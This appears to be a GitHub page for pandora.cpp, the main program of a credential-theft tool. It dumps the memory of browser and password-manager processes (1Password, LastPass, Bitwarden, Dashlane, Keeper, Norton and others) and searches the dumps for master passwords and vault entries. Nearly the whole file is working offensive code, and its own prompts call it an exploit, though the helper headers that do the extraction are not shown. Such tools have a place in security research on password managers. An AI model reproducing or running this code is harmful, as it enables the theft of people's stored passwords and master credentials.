forked from efchatz/pandora
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpandora.cpp
868 lines (760 loc) · 36.6 KB
/
pandora.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
#include <windows.h>
#include <psapi.h>
#include <vector>
#include <string>
#include <dbghelp.h>
#include "headers/core/FindFirstPID.h"
#include "headers/core/FindSecondPID.h"
#include "headers/core/FindFourthPID.h"
#include "headers/core/FindSimpleProcPID.h"
#include "headers/core/saveDump.h"
#include "headers/core/GetProcessListByName.h"
#include "headers/firefox/getCredsfirefox.h"
#include "headers/chromium/getCredschromium.h"
#include "headers/1password/app/getCreds1passwordappMaster.h"
#include "headers/1password/app/getCreds1passwordappEntries1.h"
#include "headers/1password/app/getCreds1passwordappEntries2.h"
#include "headers/1password/app/getProcUAC1password.h"
#include "headers/1password/app/FindsecondPID1password.h"
#include "headers/1password/plugin/getCreds1passwordplugin.h"
#include "headers/1password/plugin/getCreds1passwordplugin2.h"
#include "headers/keeper/getCredskeeper1.h"
#include "headers/keeper/getCredskeeper2.h"
#include "headers/dashlane/getCredsdashlaneEntries.h"
#include "headers/dashlane/getCredsdashlaneMaster.h"
#include "headers/lastpass/getCredslastpassEntries.h"
#include "headers/lastpass/getCredslastpassMasterPass.h"
#include "headers/lastpass/getCredslastpassMasterUsername.h"
#include "headers/roboform/getCredsroboform.h"
#include "headers/bitwarden/plugin/getCredsbitwardenPluginChrome.h"
#include "headers/bitwarden/plugin/getCredsbitwardenPluginChrome2.h"
#include "headers/norton/getCredsnorton.h"
#include "headers/norton/getCredsnorton2.h"
#include "headers/bitdefender/getCredsbitdefender.h"
#include "headers/bitdefender/getCredsbitdefender2.h"
#include "headers/ironvest/getCredsironvest.h"
#include "headers/passwarden/app/getCredspasswarden.h"
#include "headers/avira/getCredsavira.h"
#include "headers/passwordboss/app/getCredspasswordbossapp1.h"
#include "headers/passwordboss/app/getCredspasswordbossapp2.h"
int main() {
std::cout << std::endl;
std::cout << " .########.....###....##....##.########...#######..########.....###... " << std::endl;
std::cout << " .##.....##...##.##...###...##.##.....##.##.....##.##.....##...##.##.. " << std::endl;
std::cout << " .##.....##..##...##..####..##.##.....##.##.....##.##.....##..##...##. " << std::endl;
std::cout << " .########..##.....##.##.##.##.##.....##.##.....##.########..##.....## " << std::endl;
std::cout << " .##........#########.##..####.##.....##.##.....##.##...##...######### " << std::endl;
std::cout << " .##........##.....##.##...###.##.....##.##.....##.##....##..##.....## " << std::endl;
std::cout << " .##........##.....##.##....##.########...#######..##.....##.##.....## " << std::endl;
std::cout << std::endl;
std::cout << "Enter the name of the password manager (accepted values, chrome, msedge, \n";
std::cout << "brave, 1password, firefox, dashlane, keeper, lastpass, roboform,\n";
std::cout << "bitwarden, norton, bitdefender, ironvest, passwarden, avira, passwordboss): ";
std::string userInput;
std::cin >> userInput;
//firefox
if (userInput == "firefox") {
std::cout << "User input matches 'firefox'.\n";
std::cout << "Ensure that Firefox did communicate with the embedded password manager.\n";
std::cout << "Note that the exploit does not always work correctly. \n";
std::cout << "This means that credentials will exist within the memory, but they will not be found.\n";
const char* processName = "firefox.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredsfirefox();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//chromium
if (userInput == "chrome" || userInput == "msedge" || userInput == "brave") {
std::cout << "User input matches chromium-based browser.\n";
std::cout << "Ensure that Chromium browser did communicate with the embedded password manager.\n";
const char* processName=0;
if (userInput == "chrome") {
processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredschromium();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
else if (userInput == "msedge") {
processName = "msedge.exe";
processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredschromium();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
else if (userInput == "brave") {
processName = "brave.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredschromium();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
}
//keeper
if (userInput == "keeper") {
std::cout << "User input matches 'keeper'.\n";
std::cout << "In this app, the second largest process is needed.\n";
std::cout << "Only entries should be available.\n";
std::cout << "Also, by default the app does not encrypt the vault after locking the UI due to inactivity.\n";
const char* processName= "keeperpasswordmanager.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries (1/2).\n";
getCredskeeper1();
std::cout << "Done!\n";
std::cout << "Searching for entries (2/2).\n";
getCredskeeper2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up and running!\n";
}
//passwarden
//not checked Firefox and Chrome
if (userInput == "passwarden") {
std::cout << "User input matches 'passwarden'.\n";
std::cout << "Only entries should be available.\n";
const char* processName = "Passwarden.App.exe";
// Step 1: Find PIDs by process name
DWORD pid = FindSimpleProcPID(processName);
if (pid != 0)
{
// Step 2: Create a dump file for the process with the second-largest size
saveDump(pid);
}
else
{
std::cerr << "No process with this PID found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredspasswarden();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//passwordboss
//not checked Firefox and Chrome
if (userInput == "passwordboss") {
std::cout << "User input matches 'passwordboss'.\n";
std::cout << "Only entries should be available.\n";
const char* processName = "PasswordBoss.exe";
// Step 1: Find PIDs by process name
DWORD pid = FindSimpleProcPID(processName);
if (pid != 0)
{
// Step 2: Create a dump file for the process with the second-largest size
saveDump(pid);
}
else
{
std::cerr << "No process with this PID found." << std::endl;
}
std::cout << "Searching for entries (1/2).\n";
getCredspasswordbossapp1();
std::cout << "Done!\n";
std::cout << "Searching for entries (2/2).\n";
getCredspasswordbossapp2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//1password app
std::string userInput2;
if (userInput == "1password") {
std::cout << "Enter 0 if it is 1Password browser plugin, otherwise enter 1 (app): ";
std::cin >> userInput2;
if (userInput2 == "1") {
std::cout << "User input matches '1password' app.\n";
std::cout << "1Password contains all relevant credentials (master pass, username, entries, etc.).\n";
std::cout << "'1Password' needs High Integrity Privileges to dump the relevant process!\n";
std::cout << "Choose 0 to provide the dump file name as input (dump the file manually)\n";
std::cout << "or 1 for this tool to automatically dump the relevant process and analyze it (this choice needs high integrity privileges): ";
std::string choice;
std::cin >> choice;
if (choice == "0") {
std::cout << "Include the dump file in the same directory with this .exe.\n";
std::cout << "Provide the dump file name as an input (e.g., app.dmp): ";
std::string fileInput;
std::cin >> fileInput;
std::cout << "Searching for entries (1/2).\n";
getCreds1passwordappEntries1(fileInput);
std::cout << "Done!\n";
std::cout << "Searching for entries (2/2).\n";
getCreds1passwordappEntries2(fileInput);
std::cout << "Done!\n";
std::cout << "Searching for master credentials.\n";
getCreds1passwordappMaster(fileInput);
std::cout << "Done!\n";
}
else if (choice == "1") {
std::cout << "User input was for 1Password.\n";
std::cout << "Assume that we have high integrity privileges.\n";
// Step 1: Find PIDs of 1Password
string pid = FindsecondPID1password();
if (pid != "")
{
// Step 2: Create a dump file for the process with the second-largest size (Powershell assist)
// File creation is a bit messy, but the process was not being dumped with another way
getProcUAC1password(pid);
}
else
{
std::cerr << "No process with the third-largest Private Working Set size found." << std::endl;
}
std::cout << "Searching for entries (1/2).\n";
getCreds1passwordappEntries1("app.dmp");
std::cout << "Done!\n";
std::cout << "Searching for entries (2/2).\n";
getCreds1passwordappEntries2("app.dmp");
std::cout << "Done!\n";
std::cout << "Searching for master pass.\n";
getCreds1passwordappMaster("app.dmp");
std::cout << "Done!\n";
}
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//1password browser plugin
if (userInput == "1password" && userInput2 == "0") {
std::cout << "User input matches '1Password' browser plugin.\n";
std::cout << "1Password browser plugin only contains master password and the account email (username) of the user.\n";
std::cout << "Regardless of the browser, the largest in size process must be found.\n";
std::cout << "Provide the browser (e.g., firefox, chrome): ";
std::string browserInput;
std::cin >> browserInput;
if (browserInput == "firefox") {
const char* processName = "firefox.exe";
std::cout << "User input was for Firefox.\n";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for master credentials.\n";
getCreds1passwordplugin();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
else if (browserInput == "chrome") {
const char* processName = "chrome.exe";
std::cout << "User input was for Chrome.\n";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for master credentials (1/2).\n";
getCreds1passwordplugin();
std::cout << "Done!\n";
std::cout << "Searching for master credentials (2/2).\n";
getCreds1passwordplugin2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
else {
std::cout << "Wrong browser, provide either firefox or chrome\n";
}
}
}
//dashlane
if (userInput == "dashlane") {
std::cout << "User input matches 'dashlane'.\n";
std::cout << "After communicating with the browser plugin, wait for 1 min to retrieve entries.\n";
std::cout << "Master username and password will be immediatelly available.\n";
std::cout << "In this browser plugin, the first largest process is needed.\n";
std::cout << "All credentials should be available (master pass, entries, etc).\n";
std::cout << "Provide the browser (e.g., firefox, chrome): ";
std::string browserInput;
std::cin >> browserInput;
const char* processName=0;
if (browserInput == "chrome") {
processName = "chrome.exe";
}
else if (browserInput == "firefox") {
processName = "firefox.exe";
}
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredsdashlaneEntries();
std::cout << "Done!\n";
std::cout << "Searching for master username and password.\n";
getCredsdashlaneMaster();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//lastpass
if (userInput == "lastpass") {
std::cout << "User input matches 'lastpass'.\n";
std::cout << "In this browser plugin, the first largest process is needed.\n";
std::cout << "All credentials should be available (master username, entries, etc).\n";
std::cout << "To find the master password, the user should enter it to log-in and did not terminate the browser\n";
std::cout << "In most cases, the user will be already logged-in.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the firstLargestPID-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the firstLargestPID-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the firstLargestPID-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for master username.\n";
getCredslastpassMasterUsername();
std::cout << "Done!\n";
std::cout << "Searching for master password.\n";
getCredslastpassMasterPass();
std::cout << "Done!\n";
std::cout << "Searching for entries.\n";
getCredslastpassEntries();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//roboform
if (userInput == "roboform") {
std::cout << "User input matches 'roboform'.\n";
std::cout << "In this browser plugin, the first largest process is needed.\n";
std::cout << "Only entries should be available.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredsroboform();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//bitwarden
if (userInput == "bitwarden") {
std::cout << "User input matches 'bitwarden'.\n";
std::cout << "In this browser plugin, for Chrome the second largest process is needed.\n";
std::cout << "For Firefox the third largest process is needed.\n";
std::cout << "In Firefox, all credentials should be available (master pass, entries, etc).\n";
std::cout << "In Chrome, only entries are available.\n";
std::cout << "Note that in case of Chrome, credentials are removed after some time (i.e., 10 min).\n";
std::cout << "To gain again access to entries in Chrome, a browser interaction with the plugin must be made.\n";
std::cout << "For instance, this can happen when the user visits any login screen.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries (1/2).\n";
getCredsbitwardenPluginChrome();
std::cout << "Done!\n";
std::cout << "Searching for entries (2/2).\n";
getCredsbitwardenPluginChrome2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//norton plugin chrome
//only browser plugin is available
//Did not check with Firefox
if (userInput == "norton") {
std::cout << "User input matches 'norton'.\n";
std::cout << "In this browser plugin, the first largest process is needed.\n";
std::cout << "This works by simply having the browser open. No interaction is needed.\n";
std::cout << "Only entries should be available.\n";
std::cout << "Wait 30 sec after starting the browser to execute the tool.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries (1/2).\n";
getCredsnorton();
std::cout << "Done!\n";
// Step 1: Find PIDs by process name
pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for passwords (master and entries 2/2).\n";
getCredsnorton2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//bitdefender plugin chrome
//only browser plugin is available
//Did not check with Firefox
if (userInput == "bitdefender") {
std::cout << "User input matches 'bitdefender'.\n";
std::cout << "In this browser plugin, the first largest process is needed to find the master password.\n";
std::cout << "The second largest process is needed to find an single entry, but it is not being checked.\n";
std::cout << "This works when the browser makes an interaction with a login form that has an entry.\n";
std::cout << "If the tab is closed, nothing will be in the memory.\n";
std::cout << "Only the master password remains in this process for approx. 5 min.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the first-largest Private Working Set size
DWORD firstLargestPID = FindFirstPID(pidSizePairs);
if (firstLargestPID != 0)
{
// Step 4: Create a dump file for the process with the first-largest size
saveDump(firstLargestPID);
}
else
{
std::cerr << "No process with the first-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for master pass (1/2).\n";
getCredsbitdefender();
std::cout << "Done!\n";
std::cout << "Searching for master pass (1/2).\n";
getCredsbitdefender2();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//ironvest plugin chrome
//only browser plugin is available
//Did not check with Firefox
if (userInput == "ironvest") {
std::cout << "User input matches 'ironvest'.\n";
std::cout << "In this browser plugin, the fourth largest process is needed.\n";
std::cout << "This works when the browser has the ironvest webapp open.\n";
std::cout << "Only entries remains in this process.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the fourth-largest Private Working Set size
DWORD fourthLargestPID = FindFourthPID(pidSizePairs);
if (fourthLargestPID != 0)
{
// Step 4: Create a dump file for the process with the fourth-largest size
saveDump(fourthLargestPID);
}
else
{
std::cerr << "No process with the fourth-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredsironvest();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//avira plugin chrome
//only browser plugin is available
//Did not check with Firefox
if (userInput == "avira") {
std::cout << "User input matches 'avira'.\n";
std::cout << "In this browser plugin, the second largest process is needed.\n";
std::cout << "This works by simply having the browser open. No interaction is needed.\n";
std::cout << "To speed up the process, visit a login form. After 1 min the credentials should be in the memory.\n";
std::cout << "Only entries remains in this process.\n";
std::cout << "The exploit was tested with 3 entries. In case the user has more entries, the relevant value (600) should be change in the exploit.\n";
std::cout << "A hard guess is that approx 200 bytes will be needed per entry.\n";
std::cout << "For now, this only works with Chrome.\n";
const char* processName = "chrome.exe";
// Step 1: Find PIDs by process name
std::vector<DWORD> pids = FindPIDsByProcessName(processName);
if (!pids.empty())
{
// Step 2: Get Private Working Set sizes for the found PIDs
std::vector<std::pair<DWORD, double>> pidSizePairs = GetPrivateWorkingSetSizes(pids);
// Step 3: Find the PID with the second-largest Private Working Set size
DWORD secondLargestPID = FindSecondPID(pidSizePairs);
if (secondLargestPID != 0)
{
// Step 4: Create a dump file for the process with the second-largest size
saveDump(secondLargestPID);
}
else
{
std::cerr << "No process with the second-largest Private Working Set size found." << std::endl;
}
}
else
{
std::cerr << "No processes with the specified name found." << std::endl;
}
std::cout << "Searching for entries.\n";
getCredsavira();
std::cout << "Done!\n";
std::cout << "If zero credentials were found, ensure that the app is up, unlocked and running!\n";
}
//Just to be sure
if (userInput != "1password" && userInput != "firefox" && userInput != "dashlane"
&& userInput != "keeper" && userInput != "chrome" && userInput != "brave"
&& userInput != "msedge" && userInput != "lastpass" && userInput != "roboform"
&& userInput != "bitwarden" && userInput != "norton" && userInput != "bitdefender"
&& userInput != "ironvest" && userInput != "passwarden" && userInput != "avira"
&& userInput != "passwordboss") {
std::cout << "User input did not match a specific password manager.\n";
std::cout << "The input must be case-sensitive.\n";
return 1;
}
//Delete it
remove("app.dmp");
std::cout << "File 'app.dmp' was deleted.\n";
return 0;
}